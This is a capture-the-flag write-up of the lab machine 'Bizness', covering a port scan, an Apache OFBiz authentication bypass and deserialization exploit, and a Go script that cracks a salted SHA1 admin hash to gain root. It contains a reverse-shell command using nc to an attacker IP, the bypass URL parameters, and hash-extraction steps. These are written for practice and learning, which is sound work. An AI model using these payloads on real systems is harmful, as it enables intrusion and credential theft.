i5nipe
845 words
4 minutes
Bizness Writeup
2024-05-27

Overview#

  • Machine: Bizness
  • OS: Linux
  • Difficulty: Easy
  • Vulnerabilities: Authentication Bypass

User flag#

Reconnaissance#

Port scan#

To start, we need to identify all the ports that is running on the target machine. We can use the following Nmap command:

nmap -sV -sC 10.10.11.252 -p- -vv -oA nmap/port_scan

PORT     STATE    SERVICE  REASON      VERSION
22/tcp   open     ssh      syn-ack     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp   open     http     syn-ack     nginx 1.18.0
443/tcp  open     ssl/http syn-ack     nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
NOTE

As we know about bizness.htb now we can put it on our /etc/hosts file.

Opening the website we got the folowing page: Bizness main page

Directory brute force#

I immediately have ran ffuf with the wordlist common.txt from seclist to see if are any hidden directories on the page:

ffuf -u https://bizness.htb/FUZZ -w seclists/Discovery/Web-Content/common.txt -fs 0
------------------------
control         [Status: 200, Size: 34633, Words: 10468]
index.html      [Status: 200, Size: 27200, Words: 92189]

And accessing the ‘/control’ page we get the following error message: Apache ofBiz error

Exploitation#

Knowing about Apache OFBiz I started looking for public exploit and CVEs and eventually I got on this github repo:

jakabakos
/
Apache-OFBiz-Authentication-Bypass
Waiting for api.github.com...
00K
0K
0K
Waiting...

How it works#

The exploit takes advantage of two vulnerabilities of this apache OFZiz version:

  • CVE-2023-51467: Is a Authentication Bypass that consist in add ?USERNAME=&PASSWORD=&requirePasswordChange=Y. in the end of the URL and the login fuction of Apache OFBiz will bug and think you are authenticated on the application. If you want more in details about it works check out Sonic Wall blog post about it.

  • CVE-2023-49070: Is a Authenticated Java Deserialization bug on the endpoint /webtools/control/xmlrpc/.

The exploit I found actually uses ysoserial to generate the serialized data.Configuring the java enviroment to work properly can be complex, so I recommend running it mannually in a docker container. Luckily, the exploit worked in my environment and I got a reverse shell with the follow command:

python3 exploit.py --url https://bizness.htb/ --cmd 'nc -e /bin/sh 10.10.14.27 443'

User flag

NOTE

After getting the reverse shell I run the classics commands to get stty working on zsh shell:

python3 -c 'import pty;pty.spawn("/bin/bash") 
<CTRL Z>
stty raw -echo;fg
<ENTER>

Privilege escalation#

Reconnaissance#

Once I got the shell, I started enumerating the machine with the following commands:

ss -ltnp # Show the listening ports on the host
sudo -l # Check for sudo privileges (note: password require)

Next, I searched for passwords in Apache OFBiz configuration files but without success. Eventually, I found a file named docker/docker-entrypoint.sh which contained the following code that generates a SHA1 hash:

load_admin_user() {
  if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
    TMPFILE=$(mktemp)

    # Concatenate a random salt and the admin password.
    SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
    SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"

    # Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
    SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')

    # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
    # through the printf command. Encode the result as URL base 64 and remove padding.
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')

    # Concatenate the hash type, salt and hash as the encoded password value.
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

    # Populate the login data template
    sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"

    # Load data from the populated template.
    /ofbiz/bin/ofbiz --load-data "file=$TMPFILE"

    rm "$TMPFILE"

    touch "$CONTAINER_ADMIN_LOADED"
  fi
}
NOTE

The code essentially generates a SALT, concatenate it with the PASSWORD, hashes the result using sha1sum, and encode it again using base64 for URLs. Finally, it save the encoded password in the format: $SHA${SALT}{SHA1}.

Exploitation#

After learning about the hash, I used this command grep -r '$SHA to see if the hash existed on the machine. The command returned some files inside the directory /runtime/data/derby/ofbiz/seg0/. Navigating to this directory, I found many .dat files (probally database files), So I used strings and grep commands to extract the hash.

strings command

Cracking the hash#

The easy option would by to manually decode the base64-encoded password and provide the SALT and HashType to John or Hashcat. However, to improving my Go skills, I coded the following script to crack the hash:

package main

import (
	"bufio"
	"crypto/sha1"
	"encoding/base64"
	"encoding/hex"
	"fmt"
	"os"
	"strings"
)

const salt = "d"

const HASH = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"

func main() {

	//Read the wordlist file
	worlist_file := "/usr/share/wordlists/rockyou.txt"
	wordlist, _ := os.Open(worlist_file)
	scanner := bufio.NewScanner(wordlist)
    defer wordlist.Close()

	for scanner.Scan() {

        // Use sha1sum on the Salt and password
		hash := sha1.New()
		hash.Write([]byte(salt))
		hash.Write([]byte(scanner.Text()))
		sha1_pass := hash.Sum(nil)

        // Base64 encode it and remove the '=' charactes at the end. 
		found_hash := strings.TrimRight(base64.URLEncoding.EncodeToString(sha1_pass), "=")

        // Check if the Hash we got matches the hash we are searching for.
		if found_hash == HASH {
			fmt.Println("Found: ", scanner.Text())
            break
		}
	}

}

running the above code with go run ./main.go will eventually give us the right password as showing in the following screenshot: Password

WARNING

This code works but have some compabilities problems. For example, if the password contains the character ’%’, the printf function in bash (docker-entrypoint.sh) will interpret it, but your go script won’t, so we will never found the password.

With the cracked password, we can log in as root:
su root

Root

With root access, we can read the contest of /root/root.txt file and complete the CTF challenge.